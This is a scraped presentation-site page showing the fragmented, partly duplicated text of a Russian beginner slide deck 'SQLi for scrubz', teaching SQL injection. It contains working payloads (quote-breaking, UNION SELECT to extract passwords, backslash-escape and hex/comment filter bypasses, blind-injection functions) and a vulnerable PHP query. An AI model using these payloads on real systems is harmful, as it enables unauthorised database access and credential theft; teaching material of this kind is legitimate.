Что такое findslide.org?

FindSlide.org - это сайт презентаций, докладов, шаблонов в формате PowerPoint.

Для правообладателей

Обратная связь

Email: Нажмите что бы посмотреть 

Яндекс.Метрика

Презентация на тему SQLi for scrubz

Содержание

Понятие таблиц и работа с нимиDatabase
SQLi for scrubz Понятие таблиц и работа с нимиDatabase СинтаксисКлючевые слова в запросеSELECT *column_name* FROM *table_name* WHERE *condition* SELECT * FROM Коты WHERE Хозяин = 1 AND Возраст < 5 "> Таблица: dataСтолбцы: id, username, passЗапрос: SELECT * FROM data WHERE id = '$text' AND id Таблица: dataСтолбцы: id, username, passЗапрос: SELECT username FROM data WHERE id = '$text' and Таблицы: data, private_dataСтолбцы: id, username, passЗапрос: SELECT * FROM data WHERE id = ФункцииLIKESELECT username FROM users WHERE pass LIKE '%qwe%'SELECT username FROM users WHERE pass LIKE '%qwe_'IFIF('pass' = MIDMID(*value*, *number of starting symbol*, *hom many symbols*)MID('value', 3, 2) = 'lu'MID('value', 1, GROUP BYSELECT * FROM users GROUP BY 1SELECT * FROM users GROUP BY 2 Экранирование символовЭкранирование символов  — замена в тексте управляющих символов на соответствующие текстовые подстановкиPayload:$text Фильтрация символов0x74657874 = textSELECT * FROM users WHERE pass = 'text'SELECT * FROM users Определение уязвимостиОбычный и слепой метод$name = $_POST['name'];$query = Слепой методСписок функций:    IF, MID, SLEEP, GROUP BY SELECT IF((SELECT username where id
Слайды презентации

Слайд 2 Понятие таблиц и работа с ними
Database

Понятие таблиц и работа с нимиDatabase

Слайд 3 Синтаксис
Ключевые слова в запросе
SELECT *column_name* FROM *table_name* WHERE *condition*

СинтаксисКлючевые слова в запросеSELECT *column_name* FROM *table_name* WHERE *condition*

Слайд 4 SELECT * FROM Коты WHERE Хозяин = "Саймон"


SELECT * FROM

1 AND Возраст < 5 ">SELECT * FROM Коты WHERE Хозяин = 1 AND Возраст < 5 ">

Коты WHERE Возраст > 1 AND Возраст < 5 

Слайд 5 Таблица: data
Столбцы: id, username, pass
Запрос: SELECT * FROM

Таблица: dataСтолбцы: id, username, passЗапрос: SELECT * FROM data WHERE id = '$text'

data WHERE id = '$text' AND id != 1
$text = ' or

id = 1 -- 

Простейшая уязвимость

Слайд 6 Таблица: data
Столбцы: id, username, pass
Запрос: SELECT username FROM data

Таблица: dataСтолбцы: id, username, passЗапрос: SELECT username FROM data WHERE id = '$text'

WHERE id = '$text' and id != 1 ;
$text =

1' UNION SELECT pass FROM data WHERE id = 1 -- 

How to UNION

$text = ' UNION SELECT pass FROM data WHERE id = 1 -- 

Слайд 7 Таблицы: data, private_data
Столбцы: id, username, pass
Запрос: SELECT *

Таблицы: data, private_dataСтолбцы: id, username, passЗапрос: SELECT * FROM data WHERE id

FROM data WHERE id = 1 and id = '$text'

;

$text = ' UNION SELECT *,1 FROM data WHERE id = 1238 -- 

Слайд 8 Функции
LIKE
SELECT username FROM users WHERE pass LIKE '%qwe%'
SELECT username FROM users WHERE

ФункцииLIKESELECT username FROM users WHERE pass LIKE '%qwe%'SELECT username FROM users WHERE pass LIKE '%qwe_'IFIF('pass'

pass LIKE '%qwe_'
IF
IF('pass' = 'pass', 1, 0)
IF((SELECT username FROM users

WHERE id = 1) = 'admin', 1, 0)

IF((SELECT username FROM users WHERE id = 1) LIKE 'qwer%', 1, 0)

'%' - неопределённое кол-во символов
'_' - один символ

Слайд 9 MID
MID(*value*, *number of starting symbol*, *hom many symbols*)
MID('value', 3,

MIDMID(*value*, *number of starting symbol*, *hom many symbols*)MID('value', 3, 2) = 'lu'MID('value',

2) = 'lu'
MID('value', 1, 1) = 'v'
CONCAT
CONCAT('lu', 'l') =

'lul'

SELECT id, CONCAT(username,' - ', pass) AS  user_data

CONCAT('str1','str2',…,'strN') = 'str1str2...'

Слайд 10 GROUP BY
SELECT * FROM users GROUP BY 1
SELECT

GROUP BYSELECT * FROM users GROUP BY 1SELECT * FROM users GROUP BY 2

* FROM users GROUP BY 2

Слайд 11 Экранирование символов
Экранирование символов  — замена в тексте управляющих символов

Экранирование символовЭкранирование символов  — замена в тексте управляющих символов на соответствующие текстовые

на соответствующие текстовые подстановки
Payload:
$text =  ' UNION SELECT * FROM

users; -- ​

$text = \'  UNION SELECT * FROM users; --  

\ => \\

$text = \\' UNION SELECT * FROM users; --

Слайд 12 Фильтрация символов
0x74657874 = text
SELECT * FROM users WHERE pass =

Фильтрация символов0x74657874 = textSELECT * FROM users WHERE pass = 'text'SELECT * FROM

'text'
SELECT * FROM users WHERE pass = text 
Ошибка при

выполнении запроса: «Unknown column 'text' in 'where clause'»

SELECT * FROM users WHERE pass = 0x74657874 

SELECT/**/*/**/FROM/**/users/**/WHERE/**/pass/**/=/**/0x74657874 

/* - начало блока комментариев
*/ - конец блока комментариев

Слайд 13 Определение уязвимости
Обычный и слепой метод
$name = $_POST['name'];

$query =

Определение уязвимостиОбычный и слепой метод$name = $_POST['name'];$query =

"SELECT phone_number FROM users WHERE name = '$name'";

$result =

mysql_query($query);

Real life example

  • Имя файла: sqli-for-scrubz.pptx
  • Количество просмотров: 136
  • Количество скачиваний: 0
- Предыдущая Крымская война 1853 - 1856
Следующая - Адлерцы - Герои Советского Союза

Похожие презентации

Машина Чарльза Бэббиджа Машина Чарльза Бэббиджа 103
Моделирование систем Моделирование систем 149
Оператор выборки Select Оператор выборки Select 114
Ақпараттың көлемі және оның өлшем бірліктері Ақпараттың көлемі және оның өлшем бірліктері 214
Архитектура ЭВМ и систем. Логические основы ЭВМ Архитектура ЭВМ и систем. Логические основы ЭВМ 128
Презентация для комбинированного урока по информатике и биологии на тему Калории в нашей жизни. Профилактика ожирения Презентация для комбинированного урока по информатике и биологии на тему Калории в нашей жизни. Профилактика ожирения 144
: Двоичная арифметика : Двоичная арифметика 140
PowerPoint. Программа для создания презентаций PowerPoint. Программа для создания презентаций 129
Отношения между объектами Отношения между объектами 112
Жиымдар. Бірөлшемді жиым Жиымдар. Бірөлшемді жиым 124
Сторонние cms для Интернет-магазина Сторонние cms для Интернет-магазина 123
Презентация по информатике на тему Моделирование как метод познания (11 класс) Презентация по информатике на тему Моделирование как метод познания (11 класс) 161
Основные типы алгоритмических структур Основные типы алгоритмических структур 118
Создание запросов и отчетов в базе данных ACCESS Создание запросов и отчетов в базе данных ACCESS 115
Устройства компьютера и их функции Устройства компьютера и их функции 121
Сети. Устройство Сети. Устройство 119
Построение диаграмм и графиков в табличном процессоре Excel Построение диаграмм и графиков в табличном процессоре Excel 131
Лего-программирование Лего-программирование 124
Учебно-исследовательская работа Нанотехнологии творческая работа учащихся по информатике (4 класс) Учебно-исследовательская работа Нанотехнологии творческая работа учащихся по информатике (4 класс) 124
Алгоритм и его формальное исполнение Алгоритм и его формальное исполнение 126
Судебный процесс по делу о вредоносных программах Судебный процесс по делу о вредоносных программах 99
Презентация к открытию Декады точных наук Презентация к открытию Декады точных наук 198
знатоки информатики 9 класс знатоки информатики 9 класс 134
ИНФОРМАЦИОННЫЕ ПРОЦЕССЫ 7 кл. ИНФОРМАЦИОННЫЕ ПРОЦЕССЫ 7 кл. 149
Материнская плата Материнская плата 104
Coffe Cup SowfWare FireStarter Coffe Cup SowfWare FireStarter 103
Информационная модель объекта. Информационный объект Информационная модель объекта. Информационный объект 234
Презентация по дисциплине Информационное обеспечение профессиональной деятельности на тему: технические средства информационных технологий Презентация по дисциплине Информационное обеспечение профессиональной деятельности на тему: технические средства информационных технологий 166
Нейронная сеть для автономного марсохода Нейронная сеть для автономного марсохода 104
Информационные технологии Информационные технологии 128